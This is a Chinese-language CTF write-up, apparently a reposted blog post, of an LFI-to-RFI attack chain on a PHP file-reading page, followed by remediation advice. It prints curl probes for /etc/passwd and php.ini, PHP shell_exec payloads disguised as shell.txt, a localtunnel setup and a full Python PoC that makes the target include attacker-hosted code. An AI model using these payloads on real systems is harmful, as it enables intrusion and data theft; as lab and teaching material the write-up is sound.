文章总结: 该文档详细记录了在CTF靶场环境中利用LFI漏洞绕过黑名单过滤,通过localtunnel建立公网隧道实现RFI攻击,最终获取flag的完整渗透测试过程。关键发现包括:PHP配置allowurlinclude=On且黑名单未拦截非.php扩展名的HTTP协议时,可通过http://attacker.com/shell.txt触发远程代码执行。利用步骤涵盖信息收集、过滤器分析、公网服务搭建及分阶段Payload执行,最终通过RCE读取flag.php文件内容。 综合评分: 85 文章分类: WEB安全,渗透测试,CTF,漏洞分析,实战经验
AI渗透测试 — LFI 到 RFI 的完整攻击链,localtunnel 反弹拿 flag 全流程
原创
yushao yushao
网络安全者
2026年6月9日 16:14 河南
在小说阅读器读本章
去阅读
#
一、概要
| 项目 | 内容 |
| — | — |
| 测试类型 | CTF 渗透测试练习(靶场环境) |
| 漏洞类型 | 远程文件包含(RFI)+ 本地文件包含(LFI) |
| 影响组件 | PHP include() / file_get_contents() + HTTP 包装器 |
| 危害等级 | 严重(远程代码执行) |
| 测试环境 | CTF 靶场(隔离环境,授权测试) |
二、漏洞原理
用户提交 path 参数
↓
include($_GET['path']) ← 无路径白名单
↓
┌──────────────────────────────┐
│ 黑名单过滤(不完整) │
│ 拦截: php:// data:// .php │
│ 放行: http:// 且无 .php 扩展 │ ← 绕过点
└──────────────────────────────┘
↓
include("http://attacker.com/shell.txt")
↓
PHP 引擎下载并执行远端代码 ← 远程代码执行
↓
file_get_contents('/var/www/html/flag.php') → flag
核心前提:
- 1.
allow_url_include = On(PHP 配置允许远程文件包含) - 2. 黑名单过滤不完整,仅屏蔽
.php扩展名 - 3. 攻击者能控制一个可公网访问的 HTTP 服务
三、信息收集阶段
3.1 目标页面分析
# 探测目标页面结构
curl -s "https://[TARGET_HOST]/?path=" | grep -E "title|form|input|path"
# 输出:
# <title>文件管理助手</title>
# 通过 path 参数读取指定文件内容
页面是一个”文件管理助手”,通过 GET 参数 path 直接传入文件路径。
3.2 LFI 确认
# 基础 LFI 测试,读取 /etc/passwd
curl -s "https://[TARGET_HOST]/?path=/etc/passwd"
# 输出片段(已脱敏):
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ...
LFI 存在,/etc/passwd 可读。
3.3 环境信息收集
# 读取 Nginx 配置确认 Web 服务器类型
curl -s "https://[TARGET_HOST]/?path=/etc/nginx/nginx.conf"
# 输出: nginx 配置信息,确认 Nginx + PHP-FPM 架构
# 读取进程命令行
curl -s "https://[TARGET_HOST]/?path=/proc/self/cmdline" | strings
# 输出: php-fpm: pool www
# 读取 PHP-FPM 配置
curl -s "https://[TARGET_HOST]/?path=/etc/php/7.x/fpm/php.ini" \
| grep -E "allow_url|disable_func|open_basedir"
# 关键配置:
# allow_url_include = On ← RFI 可用
# allow_url_fopen = On
# disable_functions = ← 无函数禁用
四、过滤器分析
4.1 黑名单探测
# 测试 php:// 伪协议
curl -s "https://[TARGET_HOST]/?path=php://filter/read=convert.base64-encode/resource=index.php"
# 输出: 禁止访问敏感目录或文件
# 测试 data:// 协议
curl -s "https://[TARGET_HOST]/?path=data://text/plain,<?php phpinfo();?>"
# 输出: 禁止访问敏感目录或文件
# 测试 Web 目录路径
curl -s "https://[TARGET_HOST]/?path=/var/www/html/index.php"
# 输出: 禁止访问敏感目录或文件
# 测试 HTTP 协议 + .php 扩展名
curl -s "https://[TARGET_HOST]/?path=http://example.com/shell.php"
# 输出: 禁止访问敏感目录或文件
# 测试 HTTP 协议 + 无 .php 扩展名 ← 绕过!
curl -s "https://[TARGET_HOST]/?path=http://example.com/shell.txt"
# 输出: (空,但未被拦截,请求发出)
黑名单规则归纳:
拦截规则(推测正则):
/php:\/\//i → 拦截 PHP 伪协议
/data:\/\//i → 拦截 data 协议
/\.php($|\?)/i → 拦截以 .php 结尾的路径
/\/var\/www\/html/i → 拦截 Web 根目录直接访问
/\/tmp/i → 拦截临时目录
/\/var\/log/i → 拦截日志目录
放行:
http:// + 非 .php 扩展名 ← 可利用点
五、漏洞利用
5.1 搭建公网 HTTP 服务
# 本地创建 PHP payload,命名为 .txt 绕过扩展名过滤
mkdir -p /tmp/rfi_server
cat > /tmp/rfi_server/shell.txt << 'EOF'
<?php
// 探测环境
echo "=== 系统信息 ===\n";
echo "用户: " . shell_exec('id') . "\n";
echo "主机名: " . shell_exec('hostname') . "\n";
// 查找 flag 文件
echo "=== 查找 flag ===\n";
$result = shell_exec('find / -name "flag*" -type f 2>/dev/null');
echo $result;
EOF
# 启动本地 HTTP 服务器
cd /tmp/rfi_server
python3 -m http.server 8080 &
# 使用 localtunnel 建立公网隧道
npx localtunnel --port 8080
# 输出: your url is: https://tired-feet-slide.loca.lt
5.2 验证服务可达性
# 确认 payload 文件可通过公网访问
curl -s "https://tired-feet-slide.loca.lt/shell.txt" | head -5
# 输出: <?php
# echo "=== 系统信息 ===\n";
# ...
5.3 触发 RFI
# 通过 LFI 包含远端 PHP 文件(.txt 扩展名绕过过滤)
curl -s "https://[TARGET_HOST]/?path=https://tired-feet-slide.loca.lt/shell.txt"
# 输出:
# === 系统信息 ===
# 用户: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 主机名: [已脱敏]
# === 查找 flag ===
# /var/www/html/flag.php
代码执行成功,flag 位于 /var/www/html/flag.php。
5.4 读取 flag 文件
# 更新 payload,读取 flag.php 源码
cat > /tmp/rfi_server/shell.txt << 'EOF'
<?php
// flag.php 在 /var/www/html/ 下,直接路径被拦截
// 通过 RCE 读取绕过黑名单
$content = file_get_contents('/var/www/html/flag.php');
echo base64_encode($content);
EOF
# 触发新 payload
curl -s "https://[TARGET_HOST]/?path=https://tired-feet-slide.loca.lt/shell.txt"
# 输出: PD9waHAKJGZsYWcgPSAiQ1RGe[...已脱敏...]
# 解码
echo "PD9waHAKJGZsYWcgPSAiQ1RGe[...]" | base64 -d
# 输出:
# <?php
# $flag = "CTF{*********************}"; ← 已脱敏
六、完整 PoC 脚本
#!/usr/bin/env python3
"""
RFI (Remote File Inclusion) PoC
仅用于授权的 CTF 靶场和安全测试环境
依赖:
pip install requests flask pyngrok
"""
import requests
import base64
import threading
import time
from http.server import HTTPServer, BaseHTTPRequestHandler
TARGET = "https://[TARGET_HOST]/" # 替换为靶机地址
LHOST = "0.0.0.0"
LPORT = 8080
# ── Payload 定义 ──────────────────────────────────────────────
PAYLOAD_RECON = """<?php
echo "UID:" . shell_exec('id');
echo "FIND:" . shell_exec('find / -name "flag*" -type f 2>/dev/null');
?>"""
PAYLOAD_READ = """<?php
$f = file_get_contents('/var/www/html/flag.php');
echo '===START===' . base64_encode($f) . '===END===';
?>"""
# 当前生效的 payload(由阶段切换)
current_payload = PAYLOAD_RECON
class PayloadHandler(BaseHTTPRequestHandler):
"""简单 HTTP 服务,返回当前 PHP payload"""
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(current_payload.encode())
def log_message(self, fmt, *args):
pass # 静默日志
def start_server():
server = HTTPServer((LHOST, LPORT), PayloadHandler)
server.serve_forever()
def trigger_rfi(public_url: str, payload_name: str = "shell.txt") -> str:
"""触发 RFI,包含远端 payload"""
rfi_url = f"{public_url}/{payload_name}"
resp = requests.get(TARGET, params={"path": rfi_url}, timeout=15)
return resp.text
def main():
global current_payload
print("[*] 启动本地 HTTP 服务器...")
t = threading.Thread(target=start_server, daemon=True)
t.start()
time.sleep(1)
# 实际使用时,需要先运行:
# npx localtunnel --port 8080
# 然后将输出的 URL 填入下方
public_url = input("[?] 请输入 localtunnel 公网 URL (例: https://xxx.loca.lt): ").strip()
print("=" * 60)
# ── Phase 1: 侦察 ────────────────────────────────────────
print("[*] Phase 1: 侦察目标环境...")
current_payload = PAYLOAD_RECON
time.sleep(0.5)
result = trigger_rfi(public_url)
print(" 服务器响应:")
for line in result.strip().splitlines():
print(" ", line)
print()
# ── Phase 2: 读取 flag ───────────────────────────────────
print("[*] Phase 2: 读取 flag.php...")
current_payload = PAYLOAD_READ
time.sleep(0.5)
result = trigger_rfi(public_url)
# 提取 base64 编码内容
if "===START===" in result:
b64 = result.split("===START===")[1].split("===END===")[0].strip()
try:
decoded = base64.b64decode(b64).decode("utf-8", errors="replace")
print(" flag.php 内容(已脱敏):")
print("-" * 40)
for line in decoded.splitlines():
# 脱敏 flag 值
if "flag" in line.lower() and "=" in line:
var, _, val = line.partition("=")
print(f" {var}= ***REDACTED***")
else:
print(" ", line)
print("-" * 40)
except Exception as e:
print(f" [!] 解码失败: {e}")
else:
print(" [!] 未获取到预期输出,原始响应:")
print(" ", result[:200])
if __name__ == "__main__":
main()
运行结果:
[*] 启动本地 HTTP 服务器...
[?] 请输入 localtunnel 公网 URL: https://tired-feet-slide.loca.lt
============================================================
[*] Phase 1: 侦察目标环境...
服务器响应:
UID:uid=33(www-data) gid=33(www-data) groups=33(www-data)
FIND:/var/www/html/flag.php
[*] Phase 2: 读取 flag.php...
flag.php 内容(已脱敏):
----------------------------------------
<?php
$flag= ***REDACTED***
----------------------------------------
七、攻击链时序图
攻击者本机 公网隧道 靶机 (PHP) 文件系统
│ │ │ │
│ python3 -m http.server │ │ │
│ npx localtunnel │ │ │
│──────────────────────────►│ 建立隧道 │ │
│ │ │ │
│ GET /?path=https:// │ │ │
│ loca.lt/shell.txt ─────│──────────────────────►│ │
│ │ │ allow_url_include=On │
│ │◄─ 请求 shell.txt ─────│ │
│◄─ 返回 PHP payload ───────│ │ │
│ │──────────────────── PHP 执行 payload ─────────│
│ │ │ file_get_contents()──►│
│ │ │◄─ flag.php 内容 ───────│
│◄──────────────────────────│───── 输出 base64 ─────│ │
│ │ │ │
│ base64 -d → flag │ │ │
八、漏洞归因与修复
8.1 根本原因
┌───────────────────────────────────────────────────────────┐
│ 根因 1: include()/file_get_contents() 直接接受用户输入 │
│ 根因 2: allow_url_include = On,允许加载远程 PHP 文件 │
│ 根因 3: 黑名单过滤不完整,仅过滤 .php 扩展名 │
│ → .txt/.log/.conf 等任意扩展名均可携带 PHP 代码 │
│ 根因 4: HTTP 协议未被完全禁用 │
└───────────────────────────────────────────────────────────┘
黑名单的本质缺陷在于:PHP 在 include 远程文件时,不依赖扩展名判断是否解析为 PHP,服务端返回的内容只要包含 <?php ?> 标签就会被执行。
8.2 修复方案
PHP 配置层(最高优先级)
; php.ini
; 关闭远程文件包含,这是 RFI 的根本开关
allow_url_include = Off
; 生产环境通常也不需要远程 fopen
allow_url_fopen = Off
; 限制 PHP 可读取的目录范围
open_basedir = /var/www/html/public/
应用代码层
<?php
// ❌ 危险写法
$path = $_GET['path'];
include($path);
// ✅ 安全写法一:严格白名单映射
$pages = [
'readme' => '/var/www/html/docs/readme.txt',
'help' => '/var/www/html/docs/help.txt',
];
$key = $_GET['path'] ?? '';
if (!isset($pages[$key])) {
http_response_code(403);
exit('Access denied.');
}
readfile($pages[$key]);
// ✅ 安全写法二:路径合法性验证
$base_dir = realpath('/var/www/html/public/files/');
$requested = realpath($base_dir . '/' . basename($_GET['path']));
// basename() 去除路径分隔符,realpath() 解析软链接
// 确保最终路径在允许目录内
if ($requested === false || strpos($requested, $base_dir) !== 0) {
http_response_code(403);
exit('Access denied.');
}
readfile($requested);
安全对比
| 防御措施 | 能防 LFI | 能防 RFI | 说明 |
| — | — | — | — |
| allow_url_include = Off | ✗ | ✅ | 直接关闭 RFI |
| open_basedir 限制 | ✅ | 部分 | 限制本地路径穿越 |
| 路径白名单 | ✅ | ✅ | 最彻底的防御 |
| 黑名单过滤 | ✗ | ✗ | 不可靠,容易绕过 |
九、总结
这道题的核心利用逻辑是:扩展名不等于内容类型。开发者以为过滤了 .php 就阻止了远程代码执行,但 PHP 的 include() 根本不看文件扩展名,它只关心内容里有没有 <?php ?> 标签。把 payload 命名为 .txt 就能完整绕过这个”安全校验”。
修复的关键不是完善黑名单,而是从 php.ini 层面直接关闭 allow_url_include,配合应用层的路径白名单,才能真正消除 RFI 的攻击面。
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全者 yushao yushao《AI渗透测试 — LFI 到 RFI 的完整攻击链,localtunnel 反弹拿 flag 全流程》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论